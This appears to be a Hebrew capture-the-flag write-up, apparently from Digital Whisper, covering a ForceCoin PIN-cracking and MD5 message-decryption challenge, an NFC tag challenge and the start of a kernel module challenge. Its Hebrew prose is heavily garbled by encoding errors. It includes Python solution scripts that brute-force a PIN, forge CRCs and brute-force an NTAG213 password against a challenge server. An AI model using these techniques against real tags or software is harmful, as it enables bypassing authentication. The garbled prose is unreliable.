¶ ForceCoin.exe 

¶ db.txt.enc 

¶ ForceCoinTransactionSigner.dll.enc 

 s  ˧˴˟˵  ˪˰  ˭ˮˣ˟˸ˮ-ŜƴŎ   ˟-IŜȄ 9ŘƛǘƻǊ   .˭˧˦ˣ˪˥˪  ˷˧˶˟˧'ˠ  ˫ˢ˷  ˢ˞˶ˮˣ   ˢ˧˲ˣ˶˦ˮ˞  ˟ˣ˷˧˥  ˸ˣ˰˴ˬ˞˟

  ˫˧˯˶˲ˬˣ˵ˬ ˣ˞ ˫˧ˮ˲˴ˣˬ ˫ˢ˷ ˵˧˯ˮ ,ˢ˪˞ˢ ˫˧˴˟˵˟ ˫˧˸˟ˢ ˸ˣˠ˪˲˸ˢ ˪˰ ˸ˣˮˮˣ˟˸ˢˣπ    ˢ˧˲ˣ˶˦ˮ˞ˢ˷ ˭ˣˣ˧˩ˬ

.ˢˡ˧˥˞ ˸˧˞˶ˮ ˸ˣˠ˪˲˸ˢˢˣ ˢˢˣ˟ˠ   ˸˞ ˳˧˶ˢ˪ ˢ˯ˮˮCƻǊŎŜ/ƻƛƴ    ˥˸˲ˬ ˷˵˟ˬ˷ ,˞˟ˢ ˭ˣ˪˥ˢ ˸˞ ˢ˞˶ˮˣ

 ˪˰˟п  :˸ˣ˶˲˯ 

 

ŜȄŜ.CƻǊŎŜ/ƻƛƴ   ˟  ˟˸˩ˮ-b9¢.  ˧˪˩˟ ˷ˬ˸˷ˮ ˭˩˪ ,Lƭ{Ǉȅ  ˪˰ ,ˣ˪˞˩ ˫˧˴˟˵˪ ˢ˧˴˪˧˲ˬˣ˵˧ˡ ˸ˣ˷˰˪ ˪ˠˣ˯ˬ˷ ,

 ˷ ˶ˡˮˢ ˥˸˲ˬˢ ˢˬ ˭˧˟ˢ˪ˣ ˣ˸ˣ˞ ˷ˣ˶˲˪ ˸ˣ˯ˮ˪ ˸ˮˬ . 

http://www.digitalwhisper.co.il/
https://github.com/icsharpcode/ILSpy
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  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  ур 
 

 :ˡˣ˵ˢ ˭˪ˢ˪ 

private  string  DoMD5( string  input )  

{  

 return  

BitConverter . ToString ( MD5. Create (). ComputeHash ( Encoding . ASCII . GetBytes ( input ))).

Replace ( " - " ,  "" );  

}  

 

private  static  RijndaelManaged GetCryptoAlgorithm ()  

{  

    return  new RijndaelManaged  

    {  

        Padding = PaddingMode . None,  

        Mode = CipherMode . CBC,  

        KeySize = 128 ,  

        BlockSize = 128  

    };  

}  

 

public  static  byte []  StringToByteArray ( string  hex )  

{  

    return  ( from x in  Enumerable . Range( 0,  hex . Length )  

        where x % 2 == 0 

        select Convert . ToByte ( hex . Substring ( x,  2),  16)). ToArray ();  

}  

 

public  void  DecryptFile ( byte []  k,  string  input ,  string  output )  

{  

    byte []  array = File . ReadAllBytes ( input );  

    _ = string . Empty ;  

    using  MemoryStream memoryStream = new MemoryStream ();  

    using  ( CryptoStream cryptoStream = new CryptoStream (  

           memoryStream ,  GetCryptoAlgorithm (). CreateDecryptor ( k,  k),  

           CryptoStreamMode . Write )  

    )  

    {  

        cryptoStream . Write ( array ,  0,  array . Length );  

    }  

    File . WriteAllBytes ( output ,  memoryStream . ToArray ());  

}  

 

private  void  buttonCheckPin_Click ( object  sender ,  EventArgs e )  

{  

    string  text = richTextBoxPinCode . Text ;  

    if  ( text . Length !=  4)  

    {  

        richTextBoxPinCode . Text = "" ;  

        return ;  

    }  

    try  

    {  

        string  text2 = text ;  

        string  text3 = text ;  

        for  ( int  i = 0;  i < 10;  i ++)  

        {  

            text2 = DoMD5( text2 );  

            text3 = DoMD5( text3 );  

        }  

        for  ( int  j = 0;  j < 10;  j ++)  

        {  

            text2 = DoMD5( text2 );  

        }  

        if  ( "2D3114BCC2E5C58BBAC77F04237723D9"  == text2 )  

        {  

            byte []  k = StringToByteArray ( text3 );  

http://www.digitalwhisper.co.il/


 
 

  w9 -t²b нлнм Ϧ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  ус 
 

            DecryptFile ( k,  "ForceCoinTransactionSigner.dll.enc" ,   

                           "ForceCoinTransactionSigner.dll" );  

            DecryptFile ( k,  "db.txt.enc" ,  "db.txt" );  

            AppForm appForm = new AppForm();  

            Hide ();  

            appForm . ShowDialog ();  

            Close ();  

        }  

    }  

    catch  ( Exception )  

    {  

    }  

    richTextBoxPinCode . Text = "" ;  

}  

 

 ˷  ˢ˞˶ˮ ,ˡˣ˵ˢ ˪˰ ˶˟˰ˬˬ-CƻǊŎŜ/ƻƛƴ    ˣ˧˪˰ ˟˷˥ˬ ,˥˸˲ˬˢ ˸˞ ˪˟˵ˬa5р  нл    ˸˞ ˢˣˣ˷ˬ ,˫˧ˬ˰˲

˪ ˢ˞˴ˣ˸ˢ-н5оммп.//н9р/ру..!/ттCлпноттно5ф  ˫˧˴˟˵ˢ ˸˞ ˥ˮ˰˲ˬ ˞ˣˢ ,˫˧ˣˣ˷ ˭˩˞ ˫ˢ ˫˞ˣ ,

  ˸ˣ˰˴ˬ˞˟ ˫˧ˮ˲˴ˣˬˢa5р   ˥˸˲ˬˢ ˪˰ ˟˷ˣ˥˷мл  .˫˧ˬ˰˲ 

 :˥˸˲ˬˢ ˶ˣ˟˰ ˸ˣ˧˶˷˲˞ˢ ˸ˣ˧˴˲ˣ˞ˢ ˪˩ ˸˞ ˸ˣ˯ˮ˪ ˧ˡ˩ ˣˮ˪˷ˬ ˭ˣ˸˧˧˲ ˡˣ˵ ˟ˣ˸˩ˮ 

from  itertools import  product  

import  hashlib  

import  string  

 

TARGET = "2D3114BCC2E5C58BBAC77F04237723D9"  

 

def  calc ( pin ):  

    for  _ in  range ( 20):  

        pin = hashlib . md5( pin ). hexdigest (). upper ()  

    return  pin  

 

with  open ( "ForceCoinTransactionSigner.dll.enc" ,  'rb' )  as  f :  

    enc_data = f . read ( 16)  

 

for  pin in  product ( string . digits ,  repeat =4):  

    pin = '' . join ( pin )  

    if  calc ( pin )  == TARGET:  

        print  pin  

        break  

 
ˣ ,˳˧˶ˮ . ˫ ˣ˪˩ ..  L 

  ˸˞ ˠ˟ˡ˪ ˢ˯ˮˮ ˫˞ .˟ˣ˷˧˥˟ ˣˮ˧˰˦˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧CƻǊŎŜ/ƻƛƴ    ˸ˣ˰˴ˬ˞˟Lƭ{Ǉȅ    ˫˧˩˶˰ˢ ˸˞ ˸ˣˣ˷ˢ˪ˣ

 .˶˟ˡˢ ˣ˸ˣ˞ ˫ˢ˷ ˢ˞˶ˮ ,ˣˮ˪˷ ˦˲˧˶˵˯ˢ ˪ˣˬ ˫˷ ˫˧˪˟˵˸ˬ˷    ˥˸˲ˬˢˣ ,ˢ˰˦ˬ ˡˣ˰˧˸ˢ˷ ˞˧ˢ ˢ˧˴˲ˣ˞ ˡˣ˰

ˡ˟˪˟ ˸ˣ˶˲˯ˬ ˶˸ˣ˧ ˪˧˩ˬ .  .. 

 ˫ˠ ˱˧˯ˣˮǎǘǊƛƴƎ.ƭŜǘǘŜǊǎ ˳ ˧˶ˮ , ,ˢ˩˥ˮ ...   !˥˸˲ˬˢ ˸˞ ˣˮ˪˟˧˵ 

рŎwǘ 

  

http://www.digitalwhisper.co.il/
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  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  ут 
 

 :˷ˡ˥ ˵˷ˬˬ ˣˮ˪ ˱ˣ˷˥˸ˣ ,˫˧ˮ˲˴ˣˬ ˣ˧ˢ˷ ˫˧˴˟˵ˢ ˸˞ ˥ˮ˰˲˸ ˞˧ˢ ,ˢˮ˩ˣ˸˪ ˥˸˲ˬˢ ˸˞ ˯˧ˮ˩ˮ 

 

 ˳˟ˣ˵ˢ ˪˧˩ˬ ˢˬ ˸ˣ˞˶˪ ˪˩ˣˮ ˣ˧˷˩˰ ,˱˯ˣˮ˟Řō.ǘȄǘ : 

4 

0 

3 

4 

Bob - > Alice [  

f623e75af30e62bbd73d6df5b50bb7b5 ,  0567953871b1bf589b797d9b178d5a94 ,  

4eef13c0cb7c79813c798278770edc18 ,  b8aa853d4a02f1024e92ec3626deb27f ,  

00e04f724e7a688bba85591f41cabc66 ,  d29ff39e8237020708859fd83de7358b ,  

3e2396c3ffc5ceaf2cce64d121cd46cc ,  e93c0298d07705f4ea95116361fba84d ,  

5dd1e136eed6c8d7b3c05aedf806827e ,  0c18777da528d26b0ba37d240f5bd850 ,  

9401c1b5e67a9a0165473e929451b146 ,  4c305f18aa3ae7d854dab77edc862be2 ,  

5d4cd43fef5d09c9a897a2d197c0e430 ,  4d8561461499e594d7bc0f6f3239cc98 ,  

7ed760dcf05e798ddf2aea47518c8c26 ,  835f17ba47e4f10ec 822331db625a441 ,  

8e6e0d7f59dcbad7032301475d2c3cb5 ,  259d482498d9f2dae6d96dc3b343a908 ,  

e4aa532750a50837317716711b2dabdc ,  f07799cfe461de05a6327c5195f33a1d ,  

9b3d21619f85c27c7cb154ed6de16de2 ,  e3e58f791778f6f20d745c5e6f0ae62f ,  

7ebb03bd0b04cc46dcdc8c4f48207dab ,  92cc27585fefc1c21342415bb6b6bc5f ,  

6bacb7e544d2545fef9462c340ca4dd2 ,  eaffb62f530c3266d1106d880ad620ee ,  

9d8859729b3cbd5e8b69a9942693c659 ,  24d27068f5de2bbad9b5acf38c97be2b ,  

347c3c0d886a55671c5a826fbfacb1a0 ,  85ffb85440a4ce7880a278ef0393b449 ,  

228f416e2b0618bc895 df5aa15b056a6 ,  ad692bc711e46264c4b7da4956fa5ce3 ,  

01489e6fc5c3489df27077365c807beb ,  8b29bb17d2c92b480bc1bc2ea611037a ,  

1d39e3b97181079f5c2d37de0fd21d50 ]  

Alice - > Bob [  

8d9c307cb7f3c4a32822a51922d1ceaa ,  bafd7322c6e97d25b6299b5d6fe8920b ,  

b7e7f2b46723f5b08d763041108f8fed ,  e6662662a3f90aa497566c9b4a32f2f7 ]  

Alice - > Bob [  

5dbc98dcc983a70728bd082d1a47546e ,  e2e0ab9c9510bf61fd17296bae8d3d24 ,  

2341fcf59582cb2b44168f1b477bc850, 2d80c7c603f99c429891d40e30bf391d, 

140208bb60fc3f70eabd068701030425 ]  

Bob - > Alice [  

f186217753c37b9b9f958d906208506e ,  8021f7e4b05dada0ad3d47567e52249e ,  

d4f59cb9d92b06b80311ccf98a6c36e9 ,  20809e9ce9cfa9bcec5c7c157596be8e ,  

b11794fedf37354635f9dcdfdd1ea986 ,  4bbbcb9c0429b23818385e2aaa78eba3 ,  

91f43049eb069a16c64e8cb7b97d5350 ]  

... 

http://www.digitalwhisper.co.il/


 
 

  w9 -t²b нлнм Ϧ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  уу 
 

ˮ  ˣˬ˩ ˸ˣ˞˶ˮ ˞˪˞ ,˸ˣ˧˪˞ˣ˦˯˵˦ ˞˪ ˭ˢ ˸ˣ˰ˡˣˢˢ ˪˟˞ ,˭ˢ˷˪˩ ˸ˣ˰ˡˣˢ ˪˧˩ˬ ˞ˣˢ˷ ˢ˞˶IŀǎƘé 

ˢ  ˡ˥˞  ˸˞  ˷˲˥ˮ-IŀǎƘ .ˣ˧˪˰  ˞ˣ˴ˬ˪  ˪˩ˣˮ  ˢˬ  ˸ˣ˞˶˪  ˧ˡ˩  ˪ˠˣˠ˟  ˫˧ˮˣ˷˞˶ˢ  ˫˧    ˪˷  ˷ˣ˲˧˥ˬ

ŦсноŜтрŀŦолŜснōōŘтоŘсŘŦрōрлōōтōр  ˸ˬ˞˟ ˢˤ˷ ˢ˞˶ˮ ,IŀǎƘ  a5р  " ˦˯˵˦ˢ ˪˰5."  ˢ ˸˞ ˥˵ˮ-

IŀǎƘ    ,ˢˬ˧˷˶˟  ˞˟ˢлрстфроутмōмōŦруфōтфтŘфōмтуŘрŀфп "  ˦˯˵˦ˢˬ  ˰˧ˠˢ  ˞ˣˢˣ  ,5ƻ."    ˵˧˯ˮ

  ˫˴˰˟ ˭ˢ ˣˮ˧˞˶˷ ˸ˣ˰ˡˣˢˢ˷IŀǎƘ ˣ˸ ˟˷ˣ˥ˬ˷- .˸˧˸˧ˬ˞ˢ ˢ˰ˡˣˢˢ ˪˰ ˣ˸ 

 :(˳˟ˣ˵ˢˬ ˸ˣ˶˸ˣ˧ˬ ˸ˣ˶ˣ˷ ˸˵˧˥ˬ ˶˥˞˪) ˶˴˵ ˦˲˧˶˵˯ ˸ˣ˰˴ˬ˞˟ ˸ˣ˰ˡˣˢˢ ˸˞ ˥ˮ˰˲˪ ˪˩ˣˮ 

import  hashlib  

import  string  

import  re  

 

def  get_next_char ( curr ,  target ):  

    for  c in  range ( 0,  256 ):  

        c = chr ( c)  

        guess = curr + c 

        if  hashlib . md5( guess ). hexdigest ()  == target :  

            return  c  

 

    return  "*"  

 

def  main ():  

    with  open ( "db.txt" ,  'r' )  as  f :  

        enc_msgs = [ re . findall ( r"( \ w+)" ,  x . rstrip ())  for  x in   

                    f . readlines ()]  

 

    for  enc_msg in  enc_msgs :  

        dec_msg = ""  

        for  msghash in  enc_msg :  

            dec_msg += get_next_char ( dec_msg ,  msghash )  

        print  dec_msg  

 

main ()  

 

 :˪˟˵ˮ ˭˩ˬ ˶˥˞˪ˣ 
Do you have another message for me?  

Nope 

Sorry  

Oh Well************************  

Yes 

What is it?  

A Secret  

Message?  

Yes 

flag{L3m0n - SqueeZy}  

Good Luck!  

Hi  

Hello  

Message?  

Talk To Alice  

 

 :˪ˠˡˢ ˸˞ ˣˮ˪˟˧˵ ,˭˩ ˫˞ 

ŦƭŀƎϑ[оƳлƴ-{ǉǳŜŜ½ȅϒ  

http://www.digitalwhisper.co.il/
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:˫˷ bC/ 

:ˡˣ˵˧ˮ нлл 

 

˭ˣ˶˸˲ : 

  ˠ˸ ˢˬˡˬˢ ˸˶˷ ˣˮ˧ˮ˲˪ ˡˬˣ˰ ,˶ˠ˸˞ˢ ˶ˣ˞˧˸ˬbC/ˢ ˸˞ ˠ˧˷ˢ˪ ˸ˮˬ ˪˰ ˭ˣ˶˩˧ˤ ˞ˣ˶˵˪ ˢ˴˶ˮ ˣˮˬˬ ,-ŦƭŀƎ . 

 .ˣ˧˪˞ ˢ˥˪˷ˮ˷ ˸˧˵˪˥ ˢ˰ˡˣˢˣ ,ˠ˸ˢ ˪ˣˬ ˸˶ˣ˷˵˸ ˰˴˟˪ ˡ˴˧˩ ˶˞˸ˬˢ ˦˶˲ˬ ˫˧˪˟˵ˬ ˣˮ˞ ,˱˯ˣˮ˟ 

 ˢˬ˩ ˫˧˪ˠˬ ˣˮ˞ ,˦˶˲ˬˢ ˸˞˧˶˵ˬ :˫˧˶˟ˡ 

¶  ˠˣ˯ˬ ˞ˣˢ ˠ˸ˢNTAG213 x x ˪˷ ˦˶˲ˬˢ ˢˤ: 

 

¶  ˪˷ ˸ˣˡˣ˵˲ˢ ˪˩ ˞˪NTAG213 ˸˶˷˟ ˸ˣ˷ˬˣˬˬ: 

 

¶ ˸˲˯ˣˮ ˢ˟ˣ˷˸ ˶˧ˤ˥ˢ˪ ˪ˣ˩˧ ˸˶˷ˢ: 

 

http://www.digitalwhisper.co.il/
https://www.nxp.com/docs/en/data-sheet/NTAG213_215_216.pdf
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¶  ˫˷˟ ˢ˷ˡ˥ ˢˡˣ˵˲ ˢ˲˯ˣˣ˸ˢGET_CFGˢ˧˴˵˧˦ˮ˸ˣ˞ ˞˪˪ ˢ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ˷ ,: 

 

¶  s  ˪˰ ˰ˡ˧ˬ-CRC ˠ˸ˢ ˫˰ ˸˶ˣ˷˵˸˟ ˷ˬˣ˷ˬˢ: 

 

ˢ˷ ˟˪ ˫˧˷ˮ-/w/  ˟ ˸ˣ˧ˢ˪ ˨˧˶˴-[ƛǘǘƭŜ 9ƴŘƛŀƴ ˟  ˫˧˸˟ˢ ˶ˡ˯ ˸˞ ˨ˣ˲ˢ˪ ˨˶˦˴ˮ˷ ˭˩˸˧ ˞"ˤ ,-/w/ .   ˶˟ˡˢ

  ˸˶˷ˢˬ ˭˧˵˸ ˰ˡ˧ˬ ˪˟˵˪ ˥˧˪˴ˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˢ˴˶ˮ˷ ˭ˣ˷˞˶ˢπ  ˢ ˸˞ ˣˮ˶˥˟˷ ˰ˡˮ ˨˩-/w/   .˭ˣ˩ˮˢ 

  ˢˡˣ˵˲ˢD9¢ψ/CD   .ˢ˧˴˵˧˦ˮ˸ˣ˞ ˸˷˶ˣˡ ˢˮ˧˞ ˞˧ˢ˷ ˭ˣˣ˧˩ˬ ,ˢˤˢ ˢ˶˵ˬ˟ ˣˮ˪ ˸˶ˤˣ˰ 

 " ˪˷ ˶˧ˢˬ ˪ˣˠ˧ˠˬǇȅǘƘƻƴ /w/!  ˫˷˟ ˢ˪˧˟˥ ˞˴ˬˮ ,"ŎǊŎŎƘŜŎƪ  ˢ ˸˞ ˟˷˥˪ ˢ˪ˣ˩˧˷-/w/   .˫˧˞˸ˬˢ 
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  ˢ˧˶˲˯˟ ˷ˬ˸˷ˮ ,˱˯ˣˮ˟Ǉǿƴǘƻƻƭǎ   ˸ ˣ˪˵˟ ˸˶˷ˢ ˫˰ ˶˷˵˸˪ ˸ˮˬ ˪˰: 

from  pwn import  *  

from  crccheck . crc import  CrcA  

 

def  calc_crc ( msg):  

    crc = CrcA ()  

    crc . process ( bytearray ( msg))  

    return  str ( crc . finalbytes ())  

 

def  send_msg ( msg):  

    global  p 

 

    msg = str ( msg)  + calc_crc ( msg)  

    p. send ( msg)  

 

    return  p. recv ()  

 

def  main ():  

    global  p 

 

    p = remote ( "nfc.shieldchallenges.com" ,  80)  

    send_msg ( ' \ x66' )  

 

if  __name__ == "__main__" :  

    main ()  

 

˳˧˶ˮ: 

 python solve.py DEBUG   

 :˸˶˷ˢˬ ˢ˞˟ˢ ˢ˟ˣ˷˸ˢ ˸˞ ˪˟˵ˮˣ 

 

 !ˢ˪ ˣˮ˧˲˧˴˷ ˢ˟ˣ˷˸ˢ ˞˪ ˣˤ   ˪˷ ˦˶˲ˬˢ ˸˞ ˞˶˵ˮb¢!Dнмо    ˢ˸ˣ˞ ˞˴ˬˮˣ ,ˢ˟ˣ˷˸ˢ ˸˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰

  ˢ˪˟˦˟но : 

 

http://www.digitalwhisper.co.il/
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˟ ˣˮ˧˰˦˷ ˢ˞˶ˮ-/w/˟ ˣ˸ˣ˞ ˢ˶˧ˤ˥ˬ ˢ˧˧˶˲˯ˢ ˧˪ˣ˞ .-.ƛƎ 9ƴŘƛŀƴΚ  :˶˧ˢˬ ˭ˣ˵˧˸ ˰˴˟ˮ 

return  str ( crc . finalbytes ())  - > return  str ( crc . finalbytes ()[:: - 1])  
 

 :˸˶˷ˢˬ ˢ˞˟ˢ ˢ˟ˣ˷˸ˢ ˸˞ ˪˟˵ˮˣ ,˟ˣ˷ ˳˧˶ˮ 

 

  ˠ˸ˢ ˫˰ ˶˷˵˸˪ ˣˮ˥˪˴ˢ˷ ˢ˞˶ˮJ 

 s  ˸˞ ˪˟˵˪ ˧ˡ˩ ˠ˸ˢ ˪˷ ˭ˣ˶˩˧ˤˢ ˸˞ ˞ˣ˶˵˪ ˞ˣˢ ˸ˣ˷˰˪ ˢ˴˶ˮ˷ ˞˟ˢ ˶˟ˡˢ-ŦƭŀƎ .    ˢ˪˟˦ ˪˰ ˶˟˰ˬˬнн  

 ˪˷ ˦˶˲ˬ˟b¢!Dнмо :˲˧'˴ˢ ˧ˡ˧ ˪˰ ˸ˣ˩ˬ˸ˮˢ ˸ˣˡˣ˵˲ˢ ˸˞ ˞˴ˬˮ , 
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  ˞˧ˢ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˷ ˢˡˣ˵˲ˢˢ˞˧˶˵  ) ˭ˣ˶˩˧ˤˢ ˪˷w9!5 :˨ˬ˯ˬˢ ˣ˸ˣ˞˟ ˢ˪˷ ˦ˬ˶ˣ˲ˢ ˸˞ ˞˴ˬˮ .( 

 

ˢ˷ ˢ˞˶ˮ ,˱˯ˣˮ˟-ǇŀƎŜ  ˞ˣˢ ˷˵˟˪ ˭˸˧ˮ˷ ˢˣ˟ˠ ˧˩ˢлȄн/ : 

 

 :ˢ˧˴˵˧˦ˮ˸ˣ˞ ˶˥˞˪ ˵˶ ˞ˣ˶˵˪ ˶˷˲˞ ˭ˢˬ ˸ˣ˟ˣ˸˩ ˶˧ˡˠˢ˪ ˭˸˧ˮ˷ˣ 

 

http://www.digitalwhisper.co.il/
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ˢ ˪˩ ˸˞ ˞˶˵˧˷ ˨˩ ˣˮ˪˷ ˦˲˧˶˵˯ˢ ˸˞ ˫˧˞˸ˮ-ǇŀƎŜˬ ˫˧-л    ˡ˰лȄн/  ˲˵˟)  ˪˷ ˸ˣ˴˧п  ˶˧ˤ˥ˬ ˸˶˷ˢ ˧˩ ,

ˬ ˰ˡ˧ˬ-п ǇŀƎŜ :(˫˰˲ ˪˩ ˫˧ 

def  main ():  

    global  p 

 

    p = remote ( "nfc.shieldchallenges.com" ,  80)  

    for  i in  range ( 0,  0x2C + 1,  4):  

        send_msg ( ' \ x30'  + chr ( i ))  # Read (0x30) page i  

 

  ˡ˰ ˢ˥˧˪˴ˬ ˢ˞˧˶˵ˢ˷ ˢ˞˶ˮǇŀƎŜ   ˶˲˯ˬлȄнл  :ˣ˧˶˥˞ ˸˪˷˩ˮˣ 

 

ˢ˰ˡˣˢˢ ˸˞ ˣˮ˪˟˧˵ ,˭ˣ˪˷˩ˢ ˧ˮ˲˪˷ ˟˪ ˫˧˷ˮ : 

¢ƘŜ ǎŜŎǊŜǘ ƛǎ: 

 ˣˮ˪˟˧˵ ,ˣ˧˶˥˞ˣлȄлп . 

  ˢ˪˟˦˟ ˟ˣ˷ ˵ˣˡ˟ˮно    ˸˪ˬ˯ˬ ˣˮ˪˟˧˵˷ ˢ˟ˣˠ˸ˢ˷ ˢ˞˶ˮˣ"b!Y ŦƻǊ ƛƴǾŀƭƛŘ ŀǳǘƘŜƴǘƛŎŀǘƛƻƴ "  ˞"ˤ ,

  ˣˮ˰˴˧˟ ˞˪˷ ˭ˣˣ˧˩ˬ ˢ˪˷˩ˮ ˢ˞˧˶˵ˢ˷.ˢ˧˴˵˧˦ˮ˸ˣ˞   

  ,˶ˠ˸˞ˢ ˸˪˧˥˸˟ ˣˮ˪˟˧˵˷ ˸˧˵˪˥ˢ ˢ˰ˡˣˢˢ ˪˰ ˟ˣ˷ ˪˩˸˯ˮм.····.9!Cпфол  ˢ˪˟˦˪ ˶ˣˤ˥ˮˣ ,нн.   

 ˢ˧˴˵˧˦ˮ˸ˣ˞ˢ ˸ˡˣ˵˲ ˞˧ˢ ˣˮ˪˟˧˵˷ ˢ˰ˡˣˢˢ˷ ˢ˞˶ˮ ˢ˪˟˦˟t²5ψ!¦¢I !ˢ˪˷ ˫˧˸˟ ˧ˮ˷ ˣˮ˪ ˫˧˶˯˥ ˨˞ , 
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 :ˢˡˣ˵˲ˢ ˸˞ˤ 

 

  ˫˧˸˟ˢ ˧ˮ˷ ˣˮ˪ ˫˧˶˯˥ ,ˢˡˣ˵˲ˢ ˢˮ˟ˬ ˪˰ ˸ˣˮˮˣ˟˸ˢˬ .ˢˬ˯˧˯ˢ ˪˷ ˫˧ˮˣ˷˞˶ˢ    ˫˧˸˟ˢ ˧ˮ˷ ,ˣˮ˪ˤˬ˪

ˢ ˸˞ ˫˧˪˧˩ˬ ˫˧ˮˣ˶˥˞ˢ-/w/   .˫˧˶˯˥ˢ ˫˧˸˟ˢ ˸˞ ˞ˣ˴ˬ˪ ˣˮ˪ ˶˷˲˞ˬ˷ ˢˬ ,ˢˡˣ˵˲ˢ ˪˷   ˪˩ ˸˞ ˢ˯ˮˮ

ˢ ˸˞ ˟˷˥ˮ ,˫˧˶˯˥ˢ ˫˧˸˟ˢ ˪˷ ˸ˣ˧ˣ˶˷˲˞ˢ-/w/ ˪ ˢˣˣ˷ˮˣ ˢ˞˪ˬˢ ˢ˰ˡˣˢˢ ˪˷-/w/  .˭ˣ˸ˮˢ 
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ˢ ˧ˮ˷ ˫˞-/w/π!˫˧˶˯˥ˢ ˫˧˸˟ˢ ˸˞ ˣˮ˞˴ˬ ,˫˧ˬ˞ˣ˸ ˫˧  ˪ ˢ˞˧˶˵ˢ ˸˷˵˟ ˸˞ ˥˪˷ˮ ,˱ˣ˯˟˪-ǇŀƎŜ    ˶˲˯ˬ

лȄнп  ˢ ˸˞ ˪˧˩ˬ˷-ŦƭŀƎ : 

from  pwn import  *  

from  crccheck . crc import  CrcA  

 

def  calc_crc ( msg):  

    crc = CrcA ()  

    crc . process ( bytearray ( msg))  

    return  str ( crc . finalbytes ()[:: - 1])  

 

def  send_msg ( msg):  

    global  p 

 

    msg = str ( msg)  + calc_crc ( msg)  

    p. send ( msg)  

 

    return  p. recv ()  

 

# Leaked message is 1B XXXXBEAF 4930  

def  find_pwd ():  

    msg = ' \ x1B'  

    for  i in  range ( 2** 16):  

        if  calc_crc ( msg + p16 ( i )  + ' \ xBE\ xAF' )  == ' \ x49 \ x30' :  

            return  msg + p16 ( i )  + ' \ xBE\ xAF'  

 

def  main ():  

    global  p 

 

    p = remote ( "nfc.shieldchallenges.com" ,  80)  

    auth_msg = find_pwd ()  

    send_msg ( auth_msg )  

    send_msg ( ' \ x30 \ x24' )  # Read (0x30) page 0x24  

 

if  __name__ == "__main__" :  

    main ()  

 :ˢ˞˴ˣ˸ˢ 

 

 :˪ˠˡˢˣ 

ŦƭŀƎϑDлψaмƴмƻƴϷϒ 
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 :˫˷ShabaKernel 

 :ˡˣ˵˧ˮорл 

 

˭ˣ˶˸˲ : 

 ˳˟ˣ˵ ˫˧˪˟˵ˬ ˣˮ˞ƭƻŀŘŜǊ.ƪƻ  ˳˟ˣ˵ˣ ,˧˯˵ˣˮ˧˪ ˶˟˧˧˶ˡ ˞ˣˢ˷ ,ŀǇǇ.ƳŀƎŜƴ  :˶˩ˣˬ ˦ˬ˶ˣ˲ ˱˞ ˣˬ˩ ˢ˞˶ˮ ˞˪˷ 

 

ˢ˷ ˸ˣ˞˶˪ ˪˩ˣˮ ,ˡ˟˪˟ ˦˟ˬˬ-р    ˸ˤˣ˶˥ˬˢ ˸˞ ˫˧˪˧˩ˬ ˫˧ˮˣ˷˞˶ˢ ˫˧˸˟a!D9b  ˷˧ ˫ˢ˧˶˥˞ ,п    ˫˧˸˟

  ˳˟ˣ˵ˢ ˪˷ ˪ˡˣˠ˪ ˫˧ˬ˧˞˸ˬ˷ŀǇǇ.ƳŀƎŜƴ   )лȄлсмф    ˢ˴˶ˢ ˧˴˟˵˪ ˫˧˟˧˸ˮ ˸ˬ˧˷˶ ˫ˢ˧˶˥˞ ,(˫˧˸˟

 ˟  ˫˧˧˦˶ˡˮ˦˯-ƭƛƴǳȄ   ˸ˣ˞ˢ ˸ˣ˰˴ˬ˞˟ ˫˧ˡ˶˲ˣˬw .˭˲˴ˣˬ ˢ˞˶ˮ˷ ˰ˡ˧ˬ ˨˩ ˶˥˞ˣ , 

˟  ˷ˬ˸˷ˢ˪ ˣˮ˪ ˶ˬˣ˞ ˫ˠ ˶ˠ˸˞ˢ-ƛƳŀƎŜ    ˪˷ ˧˲˧˴˲˯¦ōǳƴǘǳ  ˯˵ˣˮ˧˪˟ ˫˧˶˟˧˧˶ˡ ˧˩ ,˧ˮˣ˧ˠˢ ˢˤ˷ ,

˰ ˵˶ ˫˧˴˶ˣ ˫˧˪˲ˬ˵˸ˬˢ .˸˧˲˧˴˲˯ ˪ˮ˶˵ ˸˯˶ˠ ˪-ƛƳŀƎŜ    ˢ˯˶ˠ˟ ˯˵ˣˮ˧˪ ˳˧˶ˬ ˫˧˪˟˵ˬ ˣˮ˞˷рΦп 

˷ ˶˧˟˯ ,˶ˠ˸˞ˢ ˪˷ ˶ˣ˞˧˸ˢˣ ˫˷ˢ ˪˪ˠ˟-ƭƻŀŘŜǊ.ƪƻ    ˷ˬˬˬƭƻŀŘŜǊ    ˠˣ˯ˬ ˢ˴˶ˢ ˧˴˟˵ ˶ˣ˟˰ƳŀƎŜƴ.    ˭ˬˤ˟

ˢ  ˸˞  ˫˧ˡ˧˶ˣˬ  ˣˮ˞˷-LƳŀƎŜ    ˸˞  ˥˸˲ˮ  ,˫˧˞˸ˬˢƭƻŀŘŜǊ.ƪƻ  -˟L5! .ˡ˟ˣ˰  ˞ˣˢ  ˨˧˞  ˭˧˟ˢ˪  ˢ˯ˮˮˣ  , 

  ˣˮ˪ ˶ˣˤ˰˪ ˧ˡ˩ ˟  ˷ˬ˸˷ˮ ,ˢ˷˧˶˲˟-{ƻǳǊŎŜ :˪ˮ˶˵ˢ ˪˷ ˢˬ˧˞˸ˬˢ ˢ˯˶ˠˢ ˪˷ ˫˧ 

ƘǘǘǇǎ:κκŜƭƛȄƛǊ.ōƻƻǘƭƛƴ.ŎƻƳκƭƛƴǳȄκǾр.п.рпκǎƻǳǊŎŜ 
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 ˢˬ˩ ˶˟˧˧˶ˡ˪ ˷˧˷ ˢ˞˶ˮ ,ˢ˪˥˸ˢ ˶ˣ˸˟9ȄǇƻǊǘπ :˫˧ˮ˧˧ˮ˰ˬ ˫˧ 

 

